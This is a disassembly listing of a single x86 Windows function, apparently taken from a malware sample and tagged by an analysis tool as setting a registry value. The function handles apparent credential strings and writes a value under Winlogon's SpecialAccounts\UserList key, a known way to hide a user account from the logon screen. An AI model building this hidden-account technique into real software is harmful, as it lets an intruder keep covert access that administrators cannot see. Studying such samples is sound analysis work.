Function at 0x40e3fa
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
lea eax, [ebp - 0x28]
push ebx
push esi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 6
pop ecx
lea eax, [ebp - 0x28]
mov edi, 0x54e020
lea esi, [ebp - 0x28]
rep movsd dword es:[edi], dword [esi]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
mov esi, 0x54e020
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edi, dword [ebp + 8]
mov ebx, dword [ebp + 0xc]
mov dword [0x54e084], edi
mov dword [0x54e078], 0x54d000
mov dword [0x54e074], ebx
call fcn.0040de1f
test eax, eax
je 0x40e554
push str.rudp
lea ecx, [ebp + 8]
call fcn.004035e5
push eax
lea eax, [ebp + 0xc]
mov ecx, ebx
push eax
call fcn.0041168e
push eax
mov ecx, 0x54e07c
call fcn.00403437
mov ecx, dword [ebp + 0xc]
call fcn.00405ea5
mov ecx, dword [ebp + 8]
xor esi, esi
mov dword [ebp + 0xc], esi
call fcn.00405ea5
push str.rpdp
lea ecx, [ebp + 8]
call fcn.004035e5
push eax
lea eax, [ebp + 0xc]
mov ecx, ebx
push eax
call fcn.0041168e
mov ebx, 0x54e080
push eax
mov ecx, ebx
call fcn.00403437
mov ecx, dword [ebp + 0xc]
call fcn.00405ea5
mov ecx, dword [ebp + 8]
mov dword [ebp + 0xc], esi
call fcn.00405ea5
mov ecx, 0x54e07c
call fcn.00403261
test eax, eax
jne 0x40e52c
mov ecx, ebx
call fcn.00403261
test eax, eax
jne 0x40e52c
mov ebx, 0x414648
lea ecx, [ebp + 8]
push ebx
call fcn.004035e5
push eax
push ebx
lea ecx, [ebp + 0xc]
call fcn.004035e5
push eax
push 8
lea ecx, [ebp - 0x20]
call fcn.00404b91
push eax
mov ecx, edi
call fcn.00404f2b
lea ecx, [ebp - 0x20]
call fcn.00404b6e
mov ecx, dword [ebp + 0xc]
call fcn.00405ea5
mov ecx, dword [ebp + 8]
mov dword [ebp + 0xc], esi
call fcn.00405ea5
jmp 0x40e54c
push ebx
push 0x54e07c
push 8
lea ecx, [ebp - 0x20]
call fcn.00404b91
push eax
mov ecx, edi
call fcn.00404f2b
lea ecx, [ebp - 0x20]
call fcn.00404b6e
xor esi, esi
inc esi
jmp 0x40e658
call fcn.0040f51d
cmp eax, 6
jb 0x40e6cf
call fcn.0040f4ce
test eax, eax
jne 0x40e6cf
call fcn.0040fbfc
cmp eax, 1
je 0x40e5a4
push 0x54e080
push 0x54e07c
push 1
lea ecx, [ebp - 0x20]
call fcn.00404b91
push eax
mov ecx, edi
call fcn.00404f2b
lea ecx, [ebp - 0x20]
call fcn.00404b6e
xor esi, esi
jmp 0x40e658
push 8
pop edx
lea ecx, [ebp + 8]
call fcn.004034a7
push eax
mov ecx, 0x54e07c
call fcn.00403437
mov ecx, dword [ebp + 8]
call fcn.00405ea5
push 8
pop edx
lea ecx, [ebp + 8]
call fcn.004034a7
mov ebx, 0x54e080
push eax
mov ecx, ebx
call fcn.00403437
mov ecx, dword [ebp + 8]
call fcn.00405ea5
lea eax, [ebp - 0x10]
xor esi, esi
push eax
lea eax, [ebp - 8]
push eax
push esi
push 0xf013f
push esi
push esi
push esi
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogonSpecialAccountsUserList
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 4
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], esi
push eax
push 4
push esi
push dword [0x54e07c]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebx
push 0x54e07c
call fcn.0040d418
test eax, eax
jne 0x40e66b
push ebx
push 0x54e07c
push 9
lea ecx, [ebp - 0x20]
call fcn.00404b91
push eax
mov ecx, edi
call fcn.00404f2b
lea ecx, [ebp - 0x20]
call fcn.00404b6e
mov edi, 0x54e020
push edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, esi
jmp 0x40e6fc
push 0x54e07c
push str.rudp
lea ecx, [ebp + 8]
call fcn.004035e5
mov esi, dword [ebp + 0xc]
mov ecx, esi
push eax
call fcn.0041165b
mov ecx, dword [ebp + 8]
call fcn.00405ea5
push ebx
push str.rpdp
lea ecx, [ebp + 0xc]
call fcn.004035e5
push eax
mov ecx, esi
call fcn.0041165b
mov ecx, dword [ebp + 0xc]
call fcn.00405ea5
mov edi, 0x54e020
mov ecx, 0x54e038
push edi
push 0x40e2e7
call fcn.00401f4b
push edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor eax, eax
inc eax
jmp 0x40e6fc
push 0x54e080
push 0x54e07c
push 2
lea ecx, [ebp - 0x20]
call fcn.00404b91
push eax
mov ecx, edi
call fcn.00404f2b
lea ecx, [ebp - 0x20]
call fcn.00404b6e
push esi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 0xc